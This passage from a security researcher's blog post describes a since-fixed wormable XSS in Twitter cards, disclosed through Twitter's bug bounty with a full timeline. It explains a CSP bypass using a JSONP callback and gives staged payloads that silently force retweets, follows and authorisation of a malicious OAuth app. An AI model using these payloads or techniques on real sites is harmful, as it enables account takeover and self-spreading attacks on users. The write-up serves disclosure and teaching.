<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="/**/__twttr/alert({&quot;headers&quot;:{&quot;status&quot;:200,&quot;maxPosition&quot;:&quot;1113300837160222720&quot;,&quot;minPosition&quot;:&quot;1098761257606307840&quot;,&quot;xPolling&quot;:30,&quot;time&quot;:1554668056},&quot;body&quot;:&quot;[...]&quot;});" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #6A9955">/**/</span><span style="color: #9CDCFE">__twttr</span><span style="color: #D4D4D4">/</span><span style="color: #DCDCAA">alert</span><span style="color: #D4D4D4">({</span><span style="color: #CE9178">&quot;headers&quot;</span><span style="color: #9CDCFE">:</span><span style="color: #D4D4D4">{</span><span style="color: #CE9178">&quot;status&quot;</span><span style="color: #9CDCFE">:</span><span style="color: #B5CEA8">200</span><span style="color: #D4D4D4">,</span><span style="color: #CE9178">&quot;maxPosition&quot;</span><span style="color: #9CDCFE">:</span><span style="color: #CE9178">&quot;1113300837160222720&quot;</span><span style="color: #D4D4D4">,</span><span style="color: #CE9178">&quot;minPosition&quot;</span><span style="color: #9CDCFE">:</span><span style="color: #CE9178">&quot;1098761257606307840&quot;</span><span style="color: #D4D4D4">,</span><span style="color: #CE9178">&quot;xPolling&quot;</span><span style="color: #9CDCFE">:</span><span style="color: #B5CEA8">30</span><span style="color: #D4D4D4">,</span><span style="color: #CE9178">&quot;time&quot;</span><span style="color: #9CDCFE">:</span><span style="color: #B5CEA8">1554668056</span><span style="color: #D4D4D4">},</span><span style="color: #CE9178">&quot;body&quot;</span><span style="color: #9CDCFE">:</span><span style="color: #CE9178">&quot;[...]&quot;</span><span style="color: #D4D4D4">});</span></span></code></pre></div>


<p>So now we just need to figure out a way to define a<span> </span><code>__twttr</code><span> </span>reference on the<span> </span><code>window</code><span> </span>object so we don’t get a<span> </span><code>ReferenceError</code><span> </span>exception. There are two ways I could think of to do just that:</p>
<p>1. Find a whitelisted script that defines a</p>
<p><code>__twttr</code><span> </span>variable and include it in the payload.</p>
<p>2. Set the ID attribute of an HTML element to<span> </span><code>__twttr</code><span> </span>(which would create a global reference to that element on the<span> </span><code>window</code><span> </span>object).</p>
<p>So I went with option #2, and that’s why the iframe element in the payload has an ID attribute despite the fact that we want the payload to be as short as possible.</p>
<p>So far, so good. But since we can’t inject arbitrary characters in the callback parameter, this means we are quite limited in what JavaScript syntax we can use (note: the semicolon in<span> </span><code>?callback=__twttr/alert;user_id=12</code><span> </span>is not part of the callback parameter, it’s actually a URL query separator—the same as “&amp;”). But this is not really much of a problem, as we still can invoke any function we want (similar to a<span> </span><a href="http://www.benhayak.com/2015/06/same-origin-method-execution-some.html">SOME attack</a>).</p>
<p>To sum up what the full payload does:</p>
<ol>
<li>Create an iframe element with the ID “__twttr” which points to a specific tweet using Twitter Web Intents (<code>https://twitter.com/intent/retweet?tweet_id=1114986988128624640</code>).</li>
<li>Use the CSP policy bypass to invoke a synchronous function (i.e.,<span> </span><code>alert</code>) to delay the execution of the next script block until the iframe has fully loaded (the alert is not for show—because of syntax limitations, we cannot simply use<span> </span><code>setTimeout(func)</code>).</li>
<li>Use the CSP bypass again to submit a form inside the iframe which causes a specific tweet to get retweeted.</li>
</ol>
<p>An XSS worm would ideally spread by retweeting itself. And if there were no syntax limitations, we could have so easily done that. But now that we have to depend on Twitter Web Intents for retweets, we need to know the exact tweet ID and specify that in the payload before actually tweeting it. Quite the dilemma, as tweet IDs are not actually sequential [4] (meaning it won’t be easy to predict the tweet ID beforehand). Oh no, our evil plan is doomed again!</p>
<p>Well, not really. There are two other relatively easier ways in which we can make the XSS worm spread:</p>
<ol>
<li>Weaponize a chain of tweets where each tweet in the chain contains a payload that retweets the one preceding it. This way, if you get in contact with any of those tweets, this would initiate a series of retweets which would eventually deliver the first tweet in the chain to every active Twitter account.</li>
<li>Simply promote the tweet that carries the XSS payload so it would have much greater reach.</li>
</ol>
<p>Or you could use a mix of those two spreading mechanisms for better results. The possibilities are endless. Also luckily for us, when the “<a href="https://twitter.com/intent/retweet?tweet_id=1114986988128624640" target="_blank" rel="noopener noreferrer">https://twitter.com/intent/retweet?tweet_id=1114986988128624640</a>” page is loaded for an already-retweeted tweet, the<span> </span><code>frames[0].retweet_btn_form.submit</code><span> </span>method in the payload would then correspond to a follow action instead of a retweet upon invocation.</p>
<p>This means that the first time a weaponized tweet is loaded on your timeline, it’ll immediately get retweeted on your Twitter profile. But the next time you view this tweet again, it will make you follow the attacker’s account!</p>


<h3 class="wp-block-heading" id="taking-exploitation-a-step-further">Taking exploitation a step further:</h3>
<p>Making an XSS worm sure can be fun and amusing, but is that really as far as this can go? In case it wasn’t scary enough for you, this XSS could have also been exploited to force Twitter users into authorizing a malicious third-party app to access their accounts silently and with full permissions via the Twitter “oauth/authorize” API [5].</p>
<p>This could be achieved by loading<span> </span><code>https://twitter.com/oauth/authorize?oauth_token=[token]</code><span> </span>in an iframe and then automatically submitting the authorization form included within that page (i.e., the form with the ID<span> </span><code>oauth_form</code>). A silent exploit with staged payloads would go as following:</p>


<ol>
<li><span>Post a tweet with the following as a payload and obtain its ID:</span></li>
</ol>
<div class="hcb_wrap">
<pre class="prism undefined-numbers lang-js" data-lang="JavaScript"><code>
&lt;/script&gt;&lt;iframe src=/oauth/authorize?oauth_token=cXDzjwAAAAAA4_EbAAABaizuCOk&gt;&lt;/iframe&gt;</code></pre>
</div>


<p><span>2. Post another tweet with the following as a payload and obtain its ID:</span></p>
<div class="hcb_wrap">
<pre class="prism undefined-numbers lang-js" data-lang="JavaScript"><code>&lt;/script&gt;&lt;script id=__twttr src=//syndication.twimg.com/tweets.json?callback=__twttr/parent.frames[0].oauth_form.submit;ids=20&gt;&lt;/script&gt;</code></pre>
</div>


<p><span>3. Post a third tweet with the following as a payload (which combines the two tweets together in one page)</span></p>
<div class="hcb_wrap">
<pre class="prism undefined-numbers lang-js" data-lang="JavaScript"><code>&lt;/script&gt;&lt;iframe src=/i/cards/tfw/v1/1118608452136460288&gt;&lt;/iframe&gt;&lt;iframe src=/i/cards/tfw/v1/1118609496560029696&gt;&lt;/iframe&gt;</code></pre>
</div>


<p>Now as soon as the third tweet gets loaded on a user’s timeline, a malicious third-party app would have full access to their account. The only caveat here is that the “oauth_token” value is valid for one use only and has a relatively short expiry time. But this is not much of a problem either as an attacker could post as many tweets as needed to compromise any number of accounts.</p>
<p>The bottom line is, I could have forced you to load any page on Twitter, click any button, submit any form, and what not!</p>
<p>P.S. If you want to get in touch, you can find me on<span> </span><a href="https://twitter.com/0xSobky" target="_blank" rel="noopener noreferrer">Twitter</a>/<a href="https://github.com/0xSobky" target="_blank" rel="noopener noreferrer">GitHub</a>. Also don’t forget to follow<span> </span><a href="https://twitter.com/virtuesecurity" target="_blank" rel="noopener noreferrer">our official Twitter account</a>!</p>


<h4 class="wp-block-heading">Disclosure Timeline:</h4>
<ul class="wp-block-list">
<li>23rd April 2018 – I filed the initial bug report.</li>
<li>25th April 2018 – The report got triaged.</li>
<li>27th April 2018 – Twitter awarded a $2,940 bounty.</li>
<li>4th May 2018 – A fix was rolled out.</li>
<li>7th April 2019 – I provided more information on the CSP bypass.</li>
<li>12th April 2019 – I sent a draft of this write-up directly to a Twitter engineer for comment.</li>
<li>12th April 2019 – I was asked to delay publication until after the CSP bypass is fixed.</li>
<li>22nd April 2019 – The CSP bypass got fixed and we got permission to publish.</li>
<li>2nd May 2019 – The write-up was published publicly.</li>
</ul>


<h4 class="wp-block-heading">References:</h4>
<p>[1] <span> </span><a href="http://www.benhayak.com/2015/06/same-origin-method-execution-some.html">https://developer.twitter.com/en/docs/direct-messages/welcome-messages/guides/deeplinking-to-welcome-message.html</a></p>
<p>[2]<span> </span><a href="https://html.spec.whatwg.org/#named-access-on-the-window-object" target="_blank" rel="noopener noreferrer">https://html.spec.whatwg.org/#named-access-on-the-window-object</a></p>
<p>[3]<span> </span><a href="https://www.benhayak.com/2015/06/same-origin-method-execution-some.html" target="_blank" rel="noopener noreferrer">https://www.benhayak.com/2015/06/same-origin-method-execution-some.html</a></p>
<p>[4]<span> </span><a href="https://developer.twitter.com/en/docs/basics/twitter-ids.html" target="_blank" rel="noopener noreferrer">https://developer.twitter.com/en/docs/basics/twitter-ids.html</a></p>
<p>[5]<span> </span><a href="https://developer.twitter.com/en/docs/basics/authentication/api-reference/authorize.html" target="_blank" rel="noopener noreferrer">https://developer.twitter.com/en/docs/basics/authentication/api-reference/authorize.html</a></p>
<p>The post <a href="https://www.virtuesecurity.com/tale-of-a-wormable-twitter-xss/">Tale of a Wormable Twitter XSS</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1150</post-id>	</item>
	</channel>
</rss>
